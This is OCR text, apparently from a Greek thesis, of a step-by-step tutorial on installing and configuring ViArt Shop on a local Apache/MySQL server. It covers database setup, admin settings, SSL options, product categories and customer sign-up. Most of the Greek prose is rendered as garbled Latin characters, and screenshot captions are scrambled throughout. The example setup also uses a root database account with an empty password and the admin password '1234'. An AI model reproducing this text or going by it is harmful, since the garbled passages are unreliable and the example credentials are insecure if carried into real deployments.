zend_optimizer.enable_loader=1

zend_optimizer.optimization_level=15

&

|»
1=

Ewcova 52: opyeio php.ini .

A@o¥ amodnkevovue TG aAlayéC oTo apyeio php.ini kévovue emavekkivinon

tov Apache server poc.
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3. Eykatdotaon tov ViArt Free Shop

Apywcd, mnyaivoope ot owevbvvon  http://www.viart.com/FreeEvaluation kot

aroOnkevovpe 6to cvotnua pog to viart shop evaluation wg windows ektedéoipo
apyeto.
Eykafiotodpe 1o viart shop-3.5.exe axolovBmvrog Ta e£ng Prinata OTme goiveTon

OTIG TOPOKAT® EIKOVEG:

& Setup - ViArt Shop EEX

Welcome to the ViArt Shop Setup
Wizard
This will ingtall ViArt Shop 3.5 on your computer.

it is recommended that you close all other applications before
continuing.

Click MNept to cortinue, or Cancel to exit Setup.

Mead = l [ Cancel

Ewovo 53: Emiléyooue next.
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http://www.viart.com/freeevaluation

e Setup - ViArt Shop SsIE

Ready to Install
Setup is now ready to begin installing ViAt Shop on your computer.

Click Install to continue with the installation, or click Back if you want to review ar
change any settings.

Destination location:
Chapache’\Vifrt_shop

[ <Back || sl | [ Cancel

Ewcova 54: Emiiéyovue install.

&l Setup - ViArt Shop X

Installing \

Please wait while Setup installs ViAt Shop on your computer. ),»"
Extracting files...

C:hapache“Wifrn_shopiimages'super'notepad jpg

Cancel

Ewova 55: setup.
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& Setup - ViArt Shop A=

File Extraction is Complete

Vidt has now been installed.

Ta begin corfiguring ViAt Shop please browse to the
installation folder using your web browser.

The URL will probably be something like
http:/Aocalhost Vidt_shops.

Ewcova 56: To Viart éyer eykataoralel.

> ouvvéxewn, avolyovue Tov browser pHog Kot TANKTPOAOYOUUE

http://localhost/Viart _shop/ , kot eppaviletar n Topoakdto eikdva:

/2 Eyxardoraon ViArt SHOP - Windows Internet Explorer

IS

Apyeo  EncErpyagia  Mpofo  Avamuiva  Epyaheia  BofBea

» |&) htp:/falesia-acer Miart_shapfstal. php

e | @ eyarionaon Virt sHOP ‘ ‘ - B & e

| Database Setup

ViArt ) ¥ Get Support ¥ Help

3ag euxapIoTol IE Yia TRV EMAOYI} TOU KATAOTHpaToe ViArt SHOP.

Napakahovpe cupnAnpaoTe dAeg Tig AenTopipeieg nou Ba oag {nTnBodv.

MNpooéETs oav np@To Bripa va unapxe fdn n aocn d=dopévav. Eav xpnopenoisite oav Baon dedopévov Tnv ODBC, n.x. MS
Access npgnel npOTa va dnuoupyRoeTE Ta dsn aAMiog n EykataoTacn dev Ba npoxXwpioel.

O E SRR ] e e lEsOESon

PuBpiceic Bdong Szdopivav

Can't create database ‘test’; database exists

Tinec Baang SeBoutve [mysaL v Username and Password - please
i — enter the username and password you|
Hostriiia '\nca\ﬁnsé |Pm1.' want to use to access the database. 1f

I L you are using a local test installation

the username is probably "root’ and

“Ovopa Baeng debopévoy fDSN  [alexiaDBshop| the password is probably blank. This
L — is fine for tasting, but please note that
i I =l lthis is not secure on production
Ovepa xphiom Jroot

servers.

Kuwbikog

I™ (to use MySQL or Postgre persistent connections, tick this box. If you do

Bets=eat tongetian not know what it means, then leaving it unticked is probably best.)

Create DB Pfg:;nr:‘raate database if possible, tick this box. Werks only for MySQL and

¥ (Toexapers B> yio Bnuioupyrioers my Bopf me Bdong xai va

repi 4o BeBop
Fuleregny oo decop ki aupnAnpivere To SeBopéva me)

Test Data J# (to add some test data to your database tick the checkbox)

% Local intranet

Ewovo 57: Mag (nreiton va cOUTANPOOODUE TO. TOPOKATD TEJLA.
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http://localhost/Viart_shop/

e Tomog Bdaong Asdopévav (Database Type): emiéyovpe
MySql.

e Ovopa e&ummpemn (Host name): ypagpovpe localhost.

o [16pta. (Port): ypdoovpe 3306, emewdn eivor o mo
ocuvnoopévog aplBpdc moPTag, aAAG 68 TOAAEG TEPIMTMOGELS
umopel va mapopeivel kevo.

e Ovopo g Baong (Database Name/ DSN): 10 6vopo
™m¢ Pdaong Oedopévemv mov EYOVHE  OMNUOVPYNOEL, GTNV
nepintwon pog alexiaDBshop

e Ovopua yprotn (Username): ypapovpe root, emeidn eival
TO OVOUO, TOV OlOXELPLOTI] MOV ElYOUE ONOVPYNGEL GTNV
apyN.

o Kwdwog (Password): to aprvovpe kevo, emeldn Oev
elyope dMoEL KMOKO.

e Yuveyng ovvdeon (Persistent Connection): dgv t0
TGEKOPOVLLE.

e Anuwovpyion Bdong Aedopéveov  (Create DB): 1o
TGEKOPOVLLE.

o ['epiote ™ Bdon Asgdopévov (Populate DB):
TOEKAPOLLE EOM Y10 VO ONUIOVPYNCOVUE TN doun NG Bdomng
AgdOUEVOV KOl VO, COUTTANPMOCOVLE T OEOOUEVOL TNG,.

e Aoxiun Aegdopévarv (Test Data): to toekdpovpe yia vo

npocBécovpe dedopéva otn Bdon Asdopévov pag.

210 TéA0G NG oeAdNG EMAEYOVLE next Kol pog 00N yel 6To 0g0TEPO PriKa TOV

TEPLYPAPETOL GTIC EIKOVES 53 Kat 54.

65



e Eykatdoraon ViArt SHOP - Windows Internet Explorer

[

o]

w ‘L;EvmﬂmmWNtSHUP | ‘

o~ | &) ntifiaena-scerpiart shopfmstalohp

~[#p|[x] [

Aoxdo Encizpyodia Mpofol  Avampfva  EpyaAda  Boreo

- & - [z - G

Populating database structure progress:  42%

Avaovr yia http: falexda-acer MiArt_shopfrstallphp...

O

% Local intranet (]

Ewovo. 58: populating database structure progress.

/2 Eyxaudoracn ViArt SHOP - Windows Internet Explorer

@ (= v | https/jmexa-aceriiart _snopfistall pho

vl‘f X‘

oo Encirpyasia Mooy  Ayamnuiva Epyahd  Boffn

W & |§Evnmmmwmswp [ |

BB @ o

Da se up *2. Admin Options »

ViArt
PuBuigeic Siaxeipiong
Site Name
URL 1oToozhiBag
E-mail Aiaxzipiomm)
EivoBog Aioxepioi
Kadikog Miaxeipiom
ZavaypdyTe Tov Kubike

PuBuigeic nuzpounvia

Eugavion nuepopnviag ka1 dpac(Emy 1otooehiba)
Engavion nuzpopnvia (omy ioreozhida)
Huepopnvia kar dpa (yio ensSepyaoia)

Huzpopnvia (yia sneEepyacia)

|http ://localhost/Alexia's-Shop

|http://alexia-acer/ViArt_shop/

|epp1485@hatma\\.cam

|
[alexia |
. \
[sere |
[D MMM YYYY, himm AM | cnirére oné m Ao
[oo/mMMAYYY R | e g0 diora
[PorMMAYyYyY ] e one o Aiora

P

Eikova 59:

http://localhost/Alexia’s-Shop

Emiloyéc Awoyeipiotyy, wor eow

OOUTANPDTOVUE TO TOPOKATD TEOLOL:

Ovopa ™  wotooeAidag  pag  (Site

& Local intranet

uas (nreitar vo

Name):  ypdoovpue

Url wotooeAidag (Site Url): ypagpovpe http://alexia-acer/ViArt_Shop/
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http://localhost/Alexia's-Shop
http://alexia-acer/ViArt_Shop/

e Email Awyelptot (Administrator Email): ypbpovpe
arisalexia@ath.forthnet.gr 6nwc to érovpe opicer mponyovpévmg otov SMTP
Server poc.

e Eicodoc Awyeiprot| (Administrator Login): ypdopovpe alexia.

o  Kwdwog Awyepiom (Administrator Password): ypagpovpe 1234,

e Eavaypayte tov Kmowo (Confirm Password): yphpovpe 1234.

e  PvOuiceig nuepounviog (Date Format): pvBuilovpe v muepounvia
Kot TNV Opa Tov BELOVE VO aVOYPAPETAL TNV 1GTOGEAIDN LOG, OVAAOYOL LIE

™V emBounT HOG OTTIKY OMEKOVION.

210 T€AOG NG GEAIOOC EMAEYOLLE NEXt Y10 VO TPOYMPTCOVLE GTO TPito Pripal,

Omwg anekoviletot otV 1KOva 55.

e Eyrardotaon ViArt SHOP - Windows | nternet Explorer

4 = || httpyfdexiz-acer Viket_shopjistall oo CIEEN

Aowdo  Encepyoda Mpofohy  Ayamuiva  Epyaldia  Boffen

w e ‘@Eymmumm\nmsmp |7‘ & - B oo reabe - e

EmAZETE TNV gpepdvion Tng 10ToosAiBag oag , apyéTepa pnopeiTe va aAAGEeTe Tnv emhoyi oag.

& Lgcal intranet. &

Ewova 60: EmiAéyovue évo. oamo to 9 diobéoiuo nepzypdﬁﬁdw,

Default, Classic, Convex, Curved, Ecommerce, Fashion, Marine,

Rainbow and Silver.

‘Exyovpe emAéEel to Ecommerce oAAG dgv €ivol OEGUEVTIKO KOl WTOPOVLE VoL

TO OALAEOVE GTI GLVEYELD OV TO EMOVLOVLLE.
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AoV emhéEope TNV EPEAVION TNG IOTOGEMONG HOG, 00N YOVUACTE GTO TEAMKO

Brua wov meprypdpeTon oty gwova S6.

f& Eykardoraon ViArt SHOP - Windows Internet Explorer

@\ ) = | ] e aeie-acer Viart_shopjinstalpho?step =38operation =sae zyut-scommerce I [#2][x] [

Apxgo  Encizpyasia  Mpofoh] Ayamiva  EpyoAda  Borfaa

% & [@EvﬁuﬂimmthSHUP [ I B B @ - [zhEN - G

4. Installation: Final

VlArt Get Support Help

Ez Qutd TO Onpeio n : - + Napakahd ire 6m ‘Exate Bael mi¢ oworéc napaptpouc Mo nodoBaon oro KovTodh ndveh
KOvTE Khi € EAQ.

URL Miayeipiom: http://alexia-acer/ViArt shop/admin/admin.php
URL iorooehidac: hitos//elexia-acer/ViArt shoo/indexoho
Manual URL: http://www.viart.com/manuals.php

cuyapioToipE nou enihéEaTe To ViArk SHOP.

& 8ol intranet &
Ewovo 61: Xe avto 10 onueio n eyxaraoraon oloxAnpabnke.

o “Tlopokalm BeParwbeite ot Exete PALEL TIC COOTEC TAPAUETPOVS”,
UTOPOVUE VO KAVOLUE KAMK Y10 TPOSPaoT) 6TO KOVIPOA TAVEL oV embupovpe

va oAAGEov e KATL.

o  Url Awyeprot): http://alexia-acer/ViArt_shop/admin/admin.php/

e  Url IotoceAidag: http://alexia-acer/ViArt shop/index.php/

e  Manual Url: http://www.viart.com/manuals.php/

e  “Euyopiotovue mov emréEate 1o ViArt Shop!”
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3.1 POOuion Tov kKupiov TapapeéTpov

To mpdTO TPAYUO TOV TPEMEL VO KAVOLUE 0OV £XOVUE EYKOTAOTNHGEL TO ViArt
shop, etvar va Bécovpe TIc KOpLEG TAPAUETPOVS TOV. ZTNV TEPITTMOT TOV TO KAVOVLE

avto mnyaivovpe 6to Administration > System > Global Settings.

ministration :: Global Settings. Windows Internet Explorer \
@‘\T}‘ - |g, https:{/alexia-acer /ViArt_shop/admin admin_global_settings.php "| g | *4(| % | ‘ B
Apyeio  EnzEepyacia  MpoPohny  Ayannpéva Epyodeic  BorBaa
w & I@ Administration :: Global Settings ::.. [_1 ﬁ - B g;q - |isk Szhifa = () Epyaieio ~ o
\ ViArt Shap Enterpris fad
: \ \ 'l System
technologies
# Site Home ¥ Administration Menu  Bookmarks
Products Orders CMS Articles Helpdesk Forum Manual Ayyehisg Site Users System
| Administration > Global Settings )
m‘ E-MAIL || Site Map || PGP
Site Settings
Site Name: ‘http:fﬂnca\hﬂstf»!\exla‘sshﬂp
URL ioTogehiBac ‘http:ffalexla -acer /Viart_shop/
(e.q. http:/ /www.yoursite.com/)
Emalliaee ‘Epp 1485@hotmail.com
{e.g. admin@yoursite.com)
Default Country ‘ Greece v
et Stte
Active Layout Change Active Scheme
Password Encryption Civone (&) Use MDS for encryption (if you choose this option all passwords in the database will be encrypted)
Weight Measure hb—
Administrator HTML Editor @ WYSIWYG HTML Editor (O Textarea Editor
Allow to run PHP code in [ Greetings / ntroduction [] Footer body [ Custom Blocks [ Custom Pages
Temporary Folder ‘(Un\x e.g. [tmp/, Windows e.g. G\WINNT\TEMP\) s
%3 Local intranet # 100% -

Ewovo. 62: pvQuioeis g 1otooeiioog.

Oa ¥pelacTeEl VO GUUTANPADOGOVE TO TOPOKATO TEdTOL:

e  Ovopa 1otoceridag (Site Name): http://localhost/Alexia’s-Shop

e URL 1otocehidog (Site Url): http://alexia-acer/ViArt_shop/ kaBopilet

t URL yw tpoécPBacn oto ViArt shop pécm tov maykdGHou 16tov.
e  Email dwyeiprot| (Administrator Email): kaBopilel to mposmideypévo

email mov Ba ypnoomomOel ylo TV ATOGTOAN UNVUUAT®OV EL00TOMGEDY GTO

Sy EPLoT.
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[Tpoemreypévn yopa (Default Country).
[Ipoemheypévn moArteia (Default State).
Evepyd mepiypappa (Active Layout): €yovpe emAaéEel to Ecommerce.

Kpvnroypaenon kwowod (Password Encryption): kaBopiler to mdg

oMol o1 kwowkol Ba amonkevovtor otn Pdon dedopévov: ypnon MDS ya

Kpumtoypdonon, OAot ot kwdkoi otn Pdaon dedouévov  Ba  givon

KPLTTOYPOPNLLEVOL.

3.2 Oépato acQareiog

[Mwg Ba evepyomomcovpe to SSL 610 NAEKTPOVIKO LG KOTAGTNLLOL.

Avtiypdopovpe 6Aa ta apyeio o€ Evav aGPAAT PAKEAO GTO SErver Hog v 1 GAAN

mepintwon eivar vo avtrypdyovpe Ol to scripts kot to apyeioe amd to /includes

(QUKELO GTOV ALGPOAN PUKEAO GTO SErver LLogG.

AxoAiovBolpe TN dadpoun:

Administration > System > Global Settings and Activate SSL for user and/or

Administrator Area
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® .. Administration :: Global Settings ::.. - Windows Internet Explorer

@ T |g http:ffalexia-acer ViArt_shop/admin admin_global_settings.php V‘ | X | | Ll

Apygio  EncEepyadia  MpoPok  Ayonnpéva  Epyoheia  Borfien

ff 'ﬁ @& ..1: Administration :: Global Settings ::.. l_l f} - B m hd l-_;:“zzhiéu ~ i} Epyahdia ~ -
User Image Restrictions Filesize in bytes | Width in pixels | Height in pixels | ~
:;n:;ﬁi:‘fa\;i;g-lmage e [ show image thumbnails on Select Image screen for administrators

Show Preview-Image fo
SR [ show image thumbnails on Select Image screen for users

Users

s Dol g | sms notifications are not alowed v

unregistered users

Secure Site Settings

Secure Site URL |hth:s:f{a\exiaacerN\Artﬁsh_Dpf
{e.q. https:/ /www.yoursite.com/)

re=asl on user login on user profile page on order profile page on payment details pages on merchant order details
on helpdesk tickets list on helpdesk ticket details

L an admin login on order details on order creation on orders list other orders pages on helpdesk tickets list
on helpdesk ticket details other helpdesk pages

Redirect to S5L redirect to HTTPS connection in case if page was accessed by HTTP

Friendly URLs Settings

Apache Settings <IfModule mod_rewrite.c>

RewriteEngine On

(please add the following RewriteCond %{REQUEST_FILENAME} I-f o ErvorDocument 404 [ViArt_shop/friendly_url.php

lines to your RewriteCond %{REQUEST_FILENAME} I-d

Jhtaccess file to turn on RewriteRule . /viArt_shop/friendly_url.php [L]

friendly URLs) < /IfModule>

Activate Friendly URLs [ (twm on friendly urls ike my_product.html)

Redirect to Friendly URL [ (redirect user to friendly urlin case if he accessed page by common url)
L'?;Ltgﬂena’m Friendy | por't generate Friendly URL automatically |

Ewova 63: pvOuiceis oopoleios

1. Aocearn Url tov niextpovikov katactiuotoc (Secure Site
Url): https//alexia-acer/ViArt_shop/
2. SSL tov ypfiotn (User SSL): toekdpovpe ta e&ng:
e XV gicodo Tov xpnot (On user login).
e X170 mPoiA TOL Ypnotn (On user profile page).
e X ceMoa g mapayyeriog (On order profile page).
e X1 oelida g TAnpouns (On payment details pages).
e XTIG AEMTOUEPELEG TNG TAPOYYEAING TOL EUTOPEVUATOG
(On merchant order details).
e X1t Mota amodeiewv mAnpoung (On helpdesk tickets
list).
o X1g Aemtouépeleg TV amodsifemv mAnpoung (On
helpdesk ticket details).
3. SSL tov dwayeprot) (Administrator SSL): toexdapovpie Ta €ENC:
e X1V €ic0do tov dwyeproth (On admin login).
o X1ig Aemtouépeteg Tov moapayyeA®v (On orders details).

e X1 onuovpyio Tapayyehodv (On order creation).
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e X1 Mota mapayyerdv (On orders list).

o AMheg oehideg mapayyermv (Other orders pages).

e X Mota anodeiEewv mAnpoung (On helpdesk tickets
list).

o Xt Aemtouépeleg TtV omodeifemv mAnpoung (On
helpdesk ticket details).

o ‘Aleg oeAideg (Other helpdesk pages).

4.  AvoakatebBvvon g SSL: avaxatevBovel og https// cuvdeon oe

nepintmon mov N celida £xel TpocPaon pésm http// .

/’5 ..z: Administration :: Global Settings ::.. - Windows Internet Explorer

= -
Q - |g, https:ffalexia-acer ViArt_shop/admin/admin_global_settings.php "‘ g | || % | ‘ Pl
Apyeio  Enefepyacia  MpoPoAn  Ayaonnuiva  Epyakeia  Bonfao
i? '1"97 @ ..+ Administration :: Global Settings ::.. ]_1 f.} - B Eﬁ - d, skl - Enyahela - »
Friendly Extension ) [without extension] himl htm .php o)
Tracking Settings
Online Time ,7 (spedify the period of time when a user is considered to be online since the last visit in minutes)
ViArt Tracking [ site visits [] Page views
Google Analytics [ (turn on google tracking)
Google Tracking Code ,7 Please specify the code in the following format "UA-s0000c-x' with your actual Google Analytics tracking code
Reviews Settings
Approve reviews Ona @og

{Administrator should approve reviews before publishing on site)
Reviews per page

Random Image Validation OForallusers O Unregistered User Only (5 Not Used
Top Rated Settings

Minimal Rating 4
Minimal Mumber of Yotes 1

HTHML Settings on Main Page

HTML Title [

Meta Keywords |

Meta Description

Greetings / Introduction

& Local intranet #100% -

Ewova 64: vroloimes pobuioerg.

e  PubBuiceig mapakorovdnong (Tracking Settings): yevikd, tracking giva
N mapakolovOnon pog ddkaciog 1 to aroteAéopato pog evépyslag. To
ViArt xatdomua pog Pondd vo eEac@aiicovpe To AETTOUEPT GTOTIOTIKA

TPOCOEPOVTAG OGS To. Topakato dvo tracking labels: ApiBuog emoxéyemv
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omv 1otoceAida (Site Visit) kot ApiBudg avdyvoong g oeiidog (Page
Views). Me avtov tov tpdmo, yvopilovtog ta dedopéva Oa pog emitpanel va
EYOLUE O 7O KOVIWVY] HOTWE otV amdO0oN TOV MNAEKTPOVIKOD oG
KATOoTNUOTOS Kot Oa pmopodoope vo eEAGPAAIGOVILE KATOIES OMAVTNOELS Ot
omoieg pumopel va glvatl cmotég aAAG pmopel va eivar kot AdBog.

e PuOuicelg avaoxomnong (Review Settings): ot emiokénteg TOL
NAEKTPOVIKOD LG KoTaoTHUATOG o £xouv tn dvvatdtta va Padporoyovv
mpoidvta kol va. BEtovv ta oxdAla Tovs. ‘Exyovpe emioyn va pvBuicovpe £tot
®oTe Vo KOOGTOOUE 1KOVO 1) OVIKOVO TNV OvVOoKOTNGoN TPOoIdVIwV GTO
niektpovikd pog Koatdotnuo. Emiong va eykpivovpe tv ovaockénnon tov
TPOIOVTOV, £T01 AGTE OAEG Ol OVOCKOTNGELS TV TPOTOVT®V Vo eppaviCovot
OPYIKA OTO TUAUO TOL OLXEPIOTN KOU HOVO VOTEPO amd TN OIKN HOG
eEovo10d0Tnon va gpeaviovial otn ovvExeld oty 1otoceAida pag. Ko
OVOLGKOTNGELG 0vA GEALDA, OOV TTPoGolopilel TOV aplBUd TV AVOCKOTNGEWDY
avd ocelda, oty omoion M mpoorpeTikn T elvar 10, aAAd éyxovpe ™
dvvatotnra va 1o aAldEovpe og kKAMpoaka and 5 og 100.

e Klipoka BaBpordynong (Top Rated): givat éva avtdpato yeVIKELUEVO
TUNHO TO OTTOl0 TTEPLEYEL TAL WO ONUOPIAY Ttpoidvta. [Tpoaipetikd eppoavileTo
oTNV KEVIPIKN GEAId otV omoia umopovue va emiéEovpe oo mpoidvta Oa

euopaviCovrat.

3.3 Alaxeipion KaTnyopIiwy Kal UTTOKATNYOPIWV.

To MAEKTPOVIKO HOG KATAGTNUO HOG EMITPEMEL VO, SLOEPLOUACTE TANP®S TO
TPOTOVTO HLEGH KATIYOPLDV.
[Tinktporoyodpe ctov browser pog:

https://alexia-acer/ViArt_shop/admin/admin.php

Kot akolovBovpe T Swdpopn: Administration > Products > Products &

Categories.
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https://alexia-acer/ViArt_shop/admin/admin.php

Windows Internet Explorer

@ )~ |g, https: /falexia-acer ViArt_shop/admin/admin.php

VA4 x |

Apyeio  Encfepyacia  MpoPohf  Ayonnuéva  EpyoAdia  BorBeo

W [E Administration :..

=

fi- B

Lé; L l-_;}'{z)\iﬁu - E’:}Epvuhziu L7

\

\)V\"\‘l

technologies

1 Site Home & Administration Menu  Bookmarks

Products | Orders Articles

O

CcMS

Products & Cateqories
Add & amend products

Helpdesk

Forum Manual Ayyehicg Site Users System

Site Users v

Helpdesk « @ Articles v
Reply to Users’ questions * Add & amend site artices

Classified Ads v

[
\T}’ Sales / Orders v \
Track 3 customer's order in the system Add & amend users Add & amend dassified ads
o A
CMS » 3 Forum = System Administration «
Add & amend site layouts Forum messages Card Detaik, Currences, Languages,
- States
=
¥, Manual +
(& Maintain manual ar fioles
‘EEodog
@ Site Home {ﬁ? Administration Menu Products & Categaries Sales / Orders Products Reviews Helpdesk
'Q Local intranet E 100% -

Ewcovo. 65: Ipoidvra kou katnyopieg.

Kavovtag kiik oto Products & Categories, avtd mov PAémovpe eivar 1 “Top”

katnyopia. [a va dnpiovpyncovpe o véa katnyopio emiéyovpe add category.
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fj ...z Administration :: Products ::.. - Windows Internet Explorer i ‘&l

@ @ - |g http:/falexia-acer MiArt_shop/admin/admin_items_list.php b4 | ([ X ‘ ‘ Pi-
Apyeio  EncBepyooio  MpoPokr  Ayannpéva  Epyoheia  BorBaia
— - X »
W o I@ Administration :: Products ::.. l } ﬁ - B - - l-_;‘;ZzMEu - i) Epyakzia -
Virt Shop Enterpri &
Products
1 site Home I Administration Menu  Bookmarks
Products Orders cMS Articles Helpdesk Forum Manual Ayyehisg Site Users System
Administration > Mpoidvra > Top
Stock: | b |Sa|es: ‘ "‘Apurwed:
Ohec o Kamnyopiee, ol Avalymon
Category Name ‘Top' category doesn'thave any products assigned yet,
Computers Edit Add New
Expart All | Import Products | Google Base Expart
Apple i-pods Edit
Menitors E + Tofind a category or view products in a category:
Cell Phones and GPS Edit navigate in categories tree on the left by dicking on categories name. Sub-categories will be shown on
= = the left, products - on the right.
Software Antivirus and Security Edit %19)) + Toadd a sub-category or a product to a category:
DSLR Digitsl Cameras Edit > follow instructions above to find a parent category, then dick 'Add New Category' or 'Add New Product’
Lok Digitsl Lameras cait
links on the bottom of categories (on the left) and products (on the right) tables.
Other Electronic Edit
Add Category | Change Order
Export | Import
ﬂ Site Home {‘ﬁ% Administration Menu Products & Categories Sales f Orders Products Reviews Helpdesk 1
s
%4 Local intranet F100% v

Ewovo 66: Anuiovpyio véog katnyopiag.

21N GLVEYELN, GUUTANPOVOLLE TO OVOUQ, SIVOLLE 0 UIKPN TEPTYPOPN OV Eivor
AmOPoiTNTO, EMAEYOLUE TNV €KOVA TTOV BEAOVUE VO OVTICTOLXEL GTN GLYKEKPLUEVT
Katnyopio. Kot TOTAUE TO KOVLUML ovovéE®momn oTo TEAOG TNG OCeAdag Yo va

amofnkevToHV o1 aAAaYES.

[Ma va dnovpynoovpe éva mpoidv oty katnyopio mov BEAovpe, emiéyovpe add
new Kol GUUTANPOVOLUE Ta TEdiR OV BELOLLLE VO TEPIEXEL.

‘Eotw o611 Béhovpe va omuovpyncovpe €vav MAEKTPOVIKO VLTOAOYIOTH] GTNV
katnyopia Computers. Apyikd, GOUTANPDOVOLLE TOV TUTO, TOV KOOIKO Kol TO Gvoua
TOV TPOIOVTOC, KAOMG KOl TOV KMOKO TOL KOTOCKEVOOTI CE TEPIMTMON 7OV TO
StB€TOLHE. XTN CUVEXELD, YPAPOLLE M0 HIKPY TEPLYPOAPY] TOL TPOIOVTOG Tov O
enpavifetoat Kdto omd T0 OVOUO TOL TPOTOVTOG, KOOMG Kol (ol TANPNG TEPLYPAPN 1|
omoia Oa gpeaviCetal 0tav 0 ¥PNoTNG EMALEYEL VO OEL AETTOUEPDG TO TPOIOV TOV TOV
evowpépel. Emiong, emiéyovpe v ewova mov Bélovpe va €xel 10 TPoidv Hag,
pumopovpe vo emhégovpe ot ewdveg va  gpeoviCovtar oe  pkpd  péyeboc(Ba

eupaviCetoar otnv KOplo 6elida), o€ peydro(mov Bo eppoviletor oe ceMda pe Tig
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Aemtopépeteg), kabmg Kot vepueyédeig(mov Ba eppavifetor oe Egxywplotd mapabvpo).
EmnAéov, pmopovpe va GUUTANP®OGOVUE AOMEG TANPOPOPIEC TOL TPOIOVTOG TOV
apopovv N Swbéoiun mocsdtTo, T0 PApog, Ta £E000 AMOGTOANG, TOLG AOUTOVG
QOPOLVG, TNV EKTTMON, €KY TPOGPOPE, T Pabporoyia amd TOvG TEAATES KOl TO
Aowmd. Xto TEAOG TNG CGEAIONG EMAEYOVIE TO KOVUTL OVAVEMOT] Y10 VO 0moOnKeELTOVV

ot 0AAOYEC.

{2 ..:: Administration :: Edit Product ::.. - Windows Internet Explorer

@:—11 - \(e_ http:/falexia-acer NiArt_shop/admin/admin_product.php?category_id=35&tem_id=126 "| *4| % ‘ | P

Apygio  EncEzpyacia MpoPodfy Ayamnuéva Epyohela  BonBaia

* e [@ Administration :: Edit Product ::.. ]_\ @ - B Eéé ~ |55 Zehifa - ",f Epyahia + ”
| Administration > Products > Top » Computers > Edit Product View Product On Live | s

Recurring || Points & Credits || Notification || Rating / Notes || Users Types

General | Dzoiypomd | Images & Appearance || Stock & Shipping || Downloadable || Special Offer

Make this Product available for sales Onou unapxel () - elva unoxpewmikd nedia
General Product Information

Approved @na Oon

Product Order * 2

Code [

Product Name * [sony varo

Friendly URL [

Manufacturer Manufacturer Code W

Bépo () r—

Product Issue Date ,7 Q’“)M (¥pnawonainge autv Tv Hugpopnvia DDfMM/YYYY)

Additional Options [ allow product comparison ~ [] Tax free product

Language (show product only for selected language) =
(Google Base Product Type | Mot Exported w

Pricing

All prices are exduding TAX Change setting here

[ allow customers to change the price Activate Discount F:Ir-icg Preview (how it will sppear on the page
Price (List Price) * [1798.99 None |  Discount Price 161175 e
H Bikad pog Tip!: 51611, 76
Trade Price I None |  Discount Trade Price I
KepBilre: £187.23 (10%)
Buying Price ‘ None Shown Discount (%) Edit Prices List @
o . T . s
&4 Local intranet # 100% -

Ewovo. 67: Anquiovpyia kou weprypopn xpoioviog.

Me tov 1010 TpOTO €1GAYOVUE TIG VTOAOITEG KOTNYOPIlES KOt T TPOIOVTO TOL OTTOia

Bo epumopevETAL TO NAEKTPOVIKO LG KOTAGTNLLAL.

YVVENMG, TANKTPOAOYDVTOG 0TOV browser pog: https://localhost/ViArt_shop/

eppaviCeTon 6TOVG XPNOTES TO NAEKTPOVIKO LG KATAGTNUA LE TIS KOTYOpies Kot

T0L TPOTOVTA TOV EXOVLLE ONUIOVPYNOEL.
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https://localhost/ViArt_shop/

{2 http://localhost/Alexia’s-Shop - Windows Internet Explorer

@.\-_/ A |g http://alexia-acer ViArt_shop/index.php vl 1l % ‘
Apygio  EnsEepyocia  MpoPodr  Ayannpéva  Epyahein  Borfao

— = . »
9 @ | @ htip:ffocahostfalexis's-shop ] } - B @ - [ Ehibo - {F Epyakdo -

|2

NPOTONTA TO KAAAGL Z0Y EIZ0A0Z ZXETIKA ME EMAZ

Languages
[ 0 [ [ 2 APPLE TPOD TOUCH
E E 5 Turi: $509.00 ($500.00 incl. TAX)

Ohokaivoupio Mpoidwl!

To Kahai Zou

CANON EOS 1DS MARK TIT BODY
. e H duaid pag Tipn!: $6,800.00 ($6,800.00 incl. TAX)
To kahabi ayopeov eival adeio

TNa EnayyehpaTieg kai 01 povol!

Mpoidvta Avalfmnon
ESET NOD32 ANTIVIRUS LICENSE
T $258:08

| Oheg o1 Karnyopisg "| H Bikid uu;; Tipn!: $248.00 ($248.00 incl. TAX)
| N Si Now!!
s ecurity Now!
Eidie] Avolitnon
APPLE MACBOOK

ot Fipf-5+009:66 509980
IMpoiovta Mo H Sirads pag Tpil: $1,605.80 (51,695.80 indl, TAX)
BﬂBuG}\UVnUéVU Mévo yig hiyeg nuépegl!
1.50NY VAIO
(5.00)
Eioodoc Xprom

o *| Computers *) Apple i-pods
vopa
xoriamn ‘ Monitors t1 Cell Phones and GPS
Kudikdg | Software Antivirus and Security *] DSLR Digital Cameras
Eigodog

-) Other Electronic

SEyaoec Tov kodikd gou ?

&3 Local intranet & 100% -

Ewcova 68: Apyikn geAioo Tov NAEKTPOVIKOD KATOAGTHUOTOS HOG.

3.4 Ewoaymyn véov mehdtn

2V apyikn oeAd0 TOL NAEKTPOVIKOD HOG KOTACTNHOTOS, 0 TEAATNG Oa emAéEet

“EIXOAOX” kot Ba gpooviotel  mopakdtom ceAida:
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e Eioodog xpriotn - Windows Internet Explorer

@\, J = i8] hitps:faleia-acesViart_shopjuserlgn pip
Apyzio Enefzpyacia MpoPod  Avamnuéva  EpyaAeia  BorBaa
o ‘@E‘wﬁocmﬁm [ ‘

S[& ][] - 8

Z- Bl @ v |shmha - (EEpyakda v

APXIKH MPOTONTA TO KAAABI Z0Y

Néog xpijorng?

YnapxovTeC XprioTeg

FpayTe To Ovopa emddou Kol Tov Kedikd oag yia ouvEKED
Ovopa xpiom |
Kadikog

[ euprioou To Ovoua amoBou kai Tov KodKkd
pou

Séxo0zc Tov Kidikd gou ?

News FAQ Links Image Gallery Events Site Map

84 Local intranet ® 100% -

Ewcova 69: Néog ypnortng, eyypapn twpa.

Av o meAdng glvar katvovplog kat oev €xel eTidEEL KAmolo Aoyaplacud tote

emiéyel va “Eyypaoei Topa” kot epeoviletol N Topakato eoppa.
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{2 Profile - Windows Internet Explorer

@\; - |g,https:fia\ex\a-acerMArt_shupfuserjmﬁ\ephp’tvpe:1 "l g ‘ 11X | = | i
Apydio  Enefepyacia  Mpofod  Ayannuéva  Epyodda  BofBein " 1
W @ |_‘ B~ B & - [2oense - oo
A
APXIKH MPOTONTA TO KANRGI ZOY ETZ0AQZ ZXETIKA ME EMAZ

NMAnpogopisg sigddou

“Ovoyia yprioTn = Pelaths1

Kodikde * }uu

Zavaypays Tov kediKko * }cou

Npoownikéc MAnpo@opicq

Name * Pelaths P T

e-mail * ;pe\aths@myema\\.com

0ddg1* ispiti

08ac 2 ‘

néhn = }Herakﬂu

Nopag SelectState v

TaxuBpopKoe kodikag * |71500

Xopa * ‘ Greece v 3

Tnjéguva nuépac = [12345678

Bpadwd Tnhépavo * |12345578

Aentopépeiec napadoong

